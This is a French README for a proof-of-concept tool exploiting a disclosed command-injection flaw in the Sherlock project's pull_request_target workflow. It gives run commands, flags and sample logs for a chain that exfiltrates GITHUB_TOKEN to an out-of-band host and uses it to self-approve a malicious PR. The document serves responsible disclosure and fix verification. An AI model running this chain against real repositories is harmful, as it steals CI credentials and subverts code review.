
Preuve de concept pour CVE-2026-44590, une injection de commande dans le workflow GitHub Actions de Sherlock permettant une exécution de code à distance (RCE) et l'exfiltration de GITHUB_TOKEN via pull_request_target.
Découvert et signalé par : Astaruf
Analyse complète : https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
Avis en amont : Avis GHSA de sherlock-project/sherlock
Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-44590
Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-44590
Ce dépôt contient la preuve de concept pour CVE-2026-44590, une injection de commande dans le workflow GitHub Actions validate_modified_targets.yml de sherlock-project/sherlock. N'importe quel utilisateur GitHub peut ouvrir une pull request qui déclenche l'exécution arbitraire de commandes dans le contexte CI privilégié, exfiltrer le GITHUB_TOKEN du workflow et auto-approuver la PR malveillante, le tout sans aucune interaction humaine.
Pour l'analyse technique complète (analyse de la cause racine, déroulement de l'exploitation, discussion sur l'impact et un chapitre sur ce qu'un attaquant pourrait faire dans des scénarios réels), consultez l'article de blog :
Ce README se concentre exclusivement sur le script PoC : ce qu'il fait, comment l'exécuter et à quoi s'attendre.
poc.pypoc.py est un script Python autonome unique (stdlib uniquement) qui automatise toute la chaîne d'attaque de bout en bout :
sherlock-project/sherlock si nécessairemaster du fork au commit précédant le correctif afin que le bug puisse être reproduit même après le correctif en amontinteractsh-client)GITHUB_TOKEN du rappel OAST (en --mode exfil) et le décode en clairVULNERABILITY CONFIRMED ou FIX VERIFIEDinteractsh-client)Il y a exactement une étape manuelle requise (cliquer sur la bannière « I understand my workflows » de GitHub la première fois par fork), car aucune API publique ne permet de la faire disparaître. Le script détecte ce cas et fait une pause avec une invite claire.
python3 poc.py --fork-owner <votre-nom-d-utilisateur-github>
Fork le dépôt (si nécessaire), synchronise avec l'amont (master corrigé), ouvre une PR malveillante, exécute la chaîne d'attaque et rapporte FIX VERIFIED car le workflow corrigé bloque la charge utile avant qu'aucune commande shell ne s'exécute.
python3 poc.py --fork-owner <votre-nom-d-utilisateur-github> --vulnerable
Identique à ci-dessus, mais ramène d'abord le master du fork au commit précédant le correctif (271608fb). Verdict attendu : VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <votre-nom-d-utilisateur-github> --vulnerable --mode exfil
La charge utile d'exfiltration envoie git config --list à l'OAST et dort pendant 180 secondes pour maintenir le workflow (et donc le GITHUB_TOKEN) actif. Pendant que le workflow dort, le script extrait le jeton du journal OAST, le décode et appelle immédiatement l'API GitHub pour approuver la PR. La PR se retrouve approuvée par github-actions[bot].
gh (GitHub CLI), authentifié :
gh auth login
gitinteractsh-client (optionnel mais recommandé). Lorsqu'il est installé, le script le lance automatiquement et vérifie le rappel dans le script :
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url et l'étape de vérification automatique sera ignorée.Le script ne nécessite pas qu'un fork existe au préalable, il en crée un automatiquement.
--mode harmless (par défaut)La charge utile est un seul POST curl avec une chaîne de confirmation statique. Aucun secret n'est lu, aucun appel API n'est effectué, le seul effet secondaire est le rappel OAST. Utilisez ce mode pour confirmer que la vulnérabilité existe sans exposer aucune information d'identification.
--mode exfilLa charge utile envoie git config --list (qui contient le GITHUB_TOKEN encodé en base64 sous http.https://github.com/.extraheader) à l'OAST, puis dort pendant 180 secondes. Le script ensuite :
x-access-token:ghs_XXXXXXXX....x-access-token: et utilise le jeton brut pour appeler POST /repos/<fork>/pulls/<n>/reviews avec la charge utile d'approbation standard ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot], impossible à distinguer d'une automatisation CI légitime.Une fois l'approbation enregistrée, le script ignore le reste de la période de sommeil de 180 secondes du workflow, car la chaîne d'attaque est terminée et attendre que le runner expire n'apporte rien.
| Drapeau | Description |
|---|---|
--fork-owner <user> | Obligatoire. Nom d'utilisateur GitHub qui possède (ou possédera) le fork |
--fork-name <name> | Nom du dépôt du fork (par défaut : sherlock) |
--oast-url <url> | Point de terminaison OAST recevant le rappel. S'il est omis, le script lance automatiquement interactsh-client et exécute le verdict dans le script |
--mode harmless|exfil | Type de charge utile (par défaut : harmless) |
--vulnerable | Force la réinitialisation du master du fork au commit précédant le correctif (271608fb) avant l'exécution. Implique --no-sync |
--no-sync | Ignore la synchronisation du fork avec l'amont (utile lors du test d'un commit épinglé) |
--base-branch <name> | Branche cible de la PR sur le fork (par défaut : master) |
--keep-branch | Ne supprime pas la branche PoC après la fin |
--no-poll | Ignore l'interrogation de l'exécution du workflow et quitte après la création de la PR |
Par conception, le PoC ouvre la PR depuis une branche du fork vers le master du même fork. Il ne cible pas directement sherlock-project/sherlock. Il y a deux raisons à cela.
Une pull request sur un dépôt public est visible par tout le monde. Le diff reste indexé même après la fermeture de la PR, et les journaux GitHub Actions sont accessibles via l'interface web. Ouvrir une PR avec une charge utile d'injection de commande fonctionnelle sur le dépôt en amont publierait effectivement un exploit fonctionnel avant que les mainteneurs aient eu la chance de publier un correctif. Toute personne surveillant le dépôt pourrait copier la charge utile, remplacer le rappel OAST par un point de terminaison malveillant et l'utiliser pour exfiltrer le vrai GITHUB_TOKEN.
Le PoC utilise une PR de fork à fork pour garder l'exploit hors de la vue du public tout en démontrant le bug de bout en bout.
Lorsque vous forkez sherlock-project/sherlock, le fichier de workflow validate_modified_targets.yml est inclus dans le fork. Ouvrir une PR ciblant le master du fork déclenche le workflow dans le contexte du fork, avec un GITHUB_TOKEN émis pour le fork. Les mécanismes sont identiques à l'attaque d'origine :
pull_request_target se déclenche automatiquementGITHUB_TOKENactions/checkout écrit le jeton dans .git/config via le paramètre http.https://github.com/.extraheaderLa seule différence est le rayon d'impact : le jeton appartient au fork, pas à sherlock-project/sherlock. La vulnérabilité est reproduite ; l'impact est contenu.
GitHub désactive les Actions sur les forks fraîchement créés derrière une bannière d'interface :
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
Il n'existe aucune API publique pour faire disparaître cette bannière. Le script détecte cette condition (fork tout juste créé OU zéro exécution de workflow historique) et fait une pause avec une invite claire :
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
Après avoir cliqué sur la bannière une fois sur un fork donné, le script ne demandera plus lors des exécutions suivantes contre le même fork.
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
Ce dépôt est publié uniquement à des fins éducatives et de recherche en sécurité. La vulnérabilité a été divulguée de manière responsable aux mainteneurs, corrigée en amont, et un CVE a été demandé. N'exécutez pas ce PoC contre des dépôts que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive.